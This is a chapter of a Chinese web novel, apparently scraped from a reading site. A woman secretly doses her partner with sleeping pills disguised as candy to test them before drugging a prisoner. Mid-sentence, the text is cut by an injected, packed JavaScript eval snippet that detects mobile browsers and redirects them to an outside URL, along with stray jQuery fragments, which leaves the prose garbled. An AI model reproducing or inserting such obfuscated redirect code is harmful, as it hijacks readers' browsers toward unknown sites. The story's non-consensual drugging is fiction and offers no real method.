“嗐,吓我一跳,我以为你鬼上身了。”乐言把木棍搁在桌上,顺嘴啃起烧鸡,“你自己玩儿吧,累了就睡。”
“乐言。”杨羡文又唤了声。
“嗯?”
“糖甜不甜?”
“你就在想这个?”乐言被逗笑,“甜啊,吃完不是亲你了吗?你尝不出来?”
杨羡文半睁着眼,轻声道:“其实除了糖,我还有一样东西想给你看。但是,我不太敢…”
乐言掰过鸡翅蘸料:“有什么不敢的?还有什么比那颗糖的样子更吓人?”
房里静默许久,在乐言以为杨羡文马上要睡着时,他突然站起身,跪坐在一旁的立柜前。
“你干什么呢秀才?”乐言起了兴趣,脖子伸出老长去看。她一手握住烛台,一手提起烤鸡的脖子,走到他身边坐下。
杨羡文没吱声,从衣物中抽出画卷,细细摊开。
“这什么?谁用脚踩的?”乐言乐得直拍大腿,指着那如同马尾扫出来的笔触道,“不会是你吧?你画风这么豪放?这有什么不敢给我看的?不就是丑了点?”
“是瑶瑶画的,画的我们一家人…”
“瑶瑶…”乐言被饼噎了一下,她拍拍胸口,吃痛道,“咳…是谁?”
“二姐的大女儿,我的外甥女。”
乐言双眸一眯,凑到他面前,凶狠地恐吓:“死秀才你耍我是不是?你明明就听得见!”
“你再装!”她握住鸡爪慢慢逼近杨羡文的眼珠,“老娘戳瞎你。”
危险近在眼前,杨羡文却连眼皮都没抖。他缓缓放下画卷,微不可闻地叹了声气。
“瑶瑶。”他说,“舅舅不敢给她看。”
“她是谁?”
“她家人都不在了,我怕她看见会难过。”
哦,乐言想起来了,是她自己,他说过还有样东西想给她看。
“这有什么?都死了多少年了?这也难过那也难过,日子还过不过了?”
杨羡文道:“瑶瑶,今年舅舅想邀她一起回家过年。”
乐言不吃鸡了,手肘靠在柜里,撑着脑袋望他:“为什么呀舅舅?”
“收养她的人,待她不…”杨羡文没说完,缓缓抬起头,眉头微皱地看着前方,“好香。”
她吃了这么久,他才闻见香味。乐言摇摇头,内心惋惜,心道这只鸡死得好冤。
“只剩骨头了舅舅,她嘴上还有点油,你要吗?”
乐言怎么会等他回答,直接凑上去吻他,印了半唇油光。
杨羡文没有表现出惯例的羞涩、喜悦,仍是呆呆的。他收好画卷,合上柜门,喃喃自语着:“该睡觉了。”
他拍了拍并不存在的软枕,又摸过地上的油纸盖在肚脐眼,而后乖乖躺下闭了眼。
等杨羡文睁开眼时,眼前一层淡黄色。他不解,扯开一看,是张浸着油香的油纸。
此时天已大亮,他在日光中晃神了好些时候,才发现自己躺在地上。胸口有些许压迫感,低头一看,乐言趴在他怀里熟睡着,一只腿蹬出被子外。
杨羡文只记得乐言睡前问的问题,至于二人为何会睡在地上,他完全没印象。
好在没冻着,只是硌得腰酸背痛。杨羡文打横抱起乐言,将她放回床上。
放下床帐,他开始收拾地上的残局:一盏淌蜡的烛台、半副嗦干净的鸡架、两张皱巴巴的油纸。
到底谁干的?杨羡文百思不得其解。尤其看见那根木根横在桌上时,他的疑惑更甚。
是进贼了?可贼不偷东西,还留下半边吃干净的鸡架是怎么回事?再有,为何要把他们二人从床上搬到地上?
思忖许久,杨羡文在心里盘出个答案。他想,定是哪个醉汉,脑子喝抽了才做出这些毫无逻辑的事儿来。
娘诶,好险没伤着他俩,杨羡文后怕。检查门窗,却是关得严严实实。
这下他更想不明白了。
也不知道乐言昨晚有没有听见动静。他倒是想问来着,可乐言还在睡。
话说回来,她怎么还没醒?杨羡文起时已是中午,眼下到了未时,乐言仍无半点动静。
虽然荒诞,但不得不承认,杨羡文的确在担忧乐言会不会死…
于是他每隔一段时间便去探她的气息,待乐言终于睁开眼,他才松了口气,笑问她昨晚睡得好不好,又同她说起那些诡异场景以及荒唐的猜测。
“不会是闹鬼了吧,不然怎么一点感觉都没有?”乐言作瑟瑟发抖之状,“怪不得我总觉得身上凉飕飕的…”
“应当,不会吧…”杨羡文抖着一身鸡皮疙瘩起身,去厨房给她准备吃食。
他这回没再煮面,早些时候让德贤街那家新酒楼送了饭菜来。
杨羡文一早吃过,眼下只舀了碗汤陪她坐着。乐言大快朵颐之时问他:“秀才,你接下来打算怎么办?”
她指的是宋思礼的官司。
杨羡文道:“这几日,我会好好准备,等一切就绪,再向梅知县递交诉状。”他叹气,似在感同身受:“若我是宋思礼,蒙受这么大的冤屈,又百口莫辩,定是相当无助。所以,我也希望能早一点助他出狱。”
乐言嗯一声,搁下碗筷道:“等会儿收拾收拾,这几日去我那儿住。你费心力准备,我也得好好养着你才是。”
她笑笑,摸着他的脸颊道:“不然累瘦了,我多心疼,是不是?”
当晚,杨羡文拎着包袱住进乐言家。当然,这回无需乐言提醒,他自觉带上灵雀三人的工钱。
杨羡文准备的动作很快,晚饭过后便趴在桌上涂涂写写。神色之认真,像进了贡院而非闺房。
乐言窝在被窝,露个脑袋死盯他埋头苦干的背影,而后伸出一只手摸到软枕下。
她取出药罐,往手心抖了颗迷药。
身先士卒吧,她想。
“秀才。”
“嗯?”
乐言坐到他身边,叹气道:“我有点烦,今晚怎么都睡不着。”
杨羡文眨眨眼:“乐言,你今日睡了七个时辰,睡不着是正常的。”
半晌,乐言才“哦”了声。
“总之。”她也不打磨细节,直接生硬转折,“我刚吃了之前备的安神药,郎中说一刻钟就能睡着。你替我记一记时间,看看是不是一刻钟,若不是…”
杨羡文知道,若不是,乐言就该去报仇了。可她三个时辰前才醒,眼下又为了逼自己入睡而吃药,杨羡文实在怕她伤着身子。
“我帮你记。”他担忧地皱眉,“但是下回不要急着吃药好不好?睡不着,我们可以出去走一走、玩一玩,累了会容易…”
“乐言?”如果没看错的话,杨羡文看见乐言的白眼了。
“嗯…”乐言一手撑在桌上,一边急促地呼吸。
她眼前已黑了一大片,仅剩两条缝挤进杨羡文担忧的面容。
“困了就睡吧乐言。”他不明白,乐言分明想入睡,为何又在此刻迸发出惊人的意志力。她强撑着眼皮,眉毛用力抬到头顶,像个宁死不屈的恶鬼。
“我…”她双腿一软,栽进杨羡文怀里,却竭力想站起身来。
杨羡文像双筷子般架起她,可惜她是薄粥,无力地下坠。
“睡吧,乐言。”他突然悟得乐言挣扎的理由,柔声安抚道,“我会在这里一直陪着你,不会有鬼的。”
在陷入黑暗之前,这是乐言听见的最后一句话。
“秀才!”她睁开眼,猛然坐起身。
“噗咳咳…”杨羡文吓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247133|179469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得呛了口茶,“怎么就醒了?睡不好吗?”才睡了小半个时辰,看来用药入睡总是不安稳的。
“你过来抱我一下。”乐言脸色惨白,抖着呼吸催促道,“快一点!”
她做了个梦,梦见自己溺死在水池里。这会儿醒来,仍分不清梦和现实。她鬼使神差摸了把衣袖,却不敢用力,生怕下一瞬拧出水来。
“来了来了。”杨羡文放下茶壶,端着水走到床边,“喝点水顺顺?”
“不要这东西!”乐言神情激动,抬手打翻水杯,扑进杨羡文怀里。
“出什么事了?”杨羡文搂着她。
他身上是干燥又温暖的味道,乐言大口嗅着,终于恢复理智。
“多久?”她闷声问。
“一刻钟。”杨羡文拍拍乐言的发顶,“乐言,你是不是…”
乐言推开他,别开脸冷声道:“还算准,不然老娘杀了他。”
杨羡文手一空,他愣了愣,蹲在她面前,把后半截话补全:“你是不是做噩梦了?”
乐言抹了把脸,重重呼一口气:“我梦见一只黄鼠狼精怪,在你屋子里。它说,它在那间屋住了几十个年头,与之前的主人一直相安无事。”
“唯独你住进来之后。”乐言盯着他,“它说你整日吃面,它半点荤腥都吃不着,气得它昨晚想结果了你。”
“不过,它昨晚看见我,一个貌美善良的女孩。哎,它就心软了,故而昨晚只是捉弄一番。它方才吓我,说你往后要再天天吃面,就把你剁了包饺子吃!”
杨羡文没作声,只是看着她。
怎么会有这么离奇的梦?
可她方才在他怀里抖得太厉害,上一回这样,还是被关进杀猪户的机关布袋里、性命攸关之时。
总不可能装得这么像吧?
“那么,好在你救了我…”杨羡文难堪地别过脸,整理地上的碎片,又喃喃着说,“我面里也有肉的呀…总之,它今晚总该高兴了,还剩那么多肉…”
乐言偷偷笑了声:“你还在写?”
“嗯。”杨羡文坐下,理了理桌上的手稿,他以为乐言在关心他,便道,“没事,我还不太累。”
殊不知,乐言乃是望着他与宋思礼相近的身形起了主意。
杨羡文身后,乐言又悄咪咪摸出一颗迷药。
她在想,该用什么借口让他吃下去?
若他问,“乐言,这是什么”,她该回答什么?
事实证明,乐言想多了。她不过是走过去,拍拍杨羡文的肩,说了个“糖”字,再送到他嘴边,他便张嘴接过。
才嚼两下,杨羡文向后一仰,轰然瘫倒在地,不省人事。
药丸还剩半颗抵在他腮边,鼓鼓囊囊的一块。
这什么体质?
乐言目瞪口呆,拍拍他的脸颊:“秀才?”
不到一刻钟,杨羡文从地上爬起来。
“乐言…”他还在犯迷糊,只觉嘴里有东西,但不知是何物,便下意识又嚼了两口。
这回便是向前扑倒,抱着凳子摔了个狗吃屎。
等杨羡文再醒来时,乐言眼疾手快让他把糖吐出来:“还不累呢,写着写着都能睡着。不要这么拼命呀,我会心疼的。”
杨羡文有些难为情,他也不知为何会困成这样。尤其现在,脑子还在犯晕乎。
仗着她说的心疼,杨羡文埋进她颈窝。
“洗漱一下,累了就去床上睡吧。”
“嗯。”杨羡文不再逞强,蹭了蹭她,“你呢,乐言,要睡了吗?”
乐言揉揉他的脑袋:“不睡。”
至少现在不能睡。
这迷药实在太因人而异,她还得亲自去试试,这东西下在牢里那个王八蛋身上,多久会起效。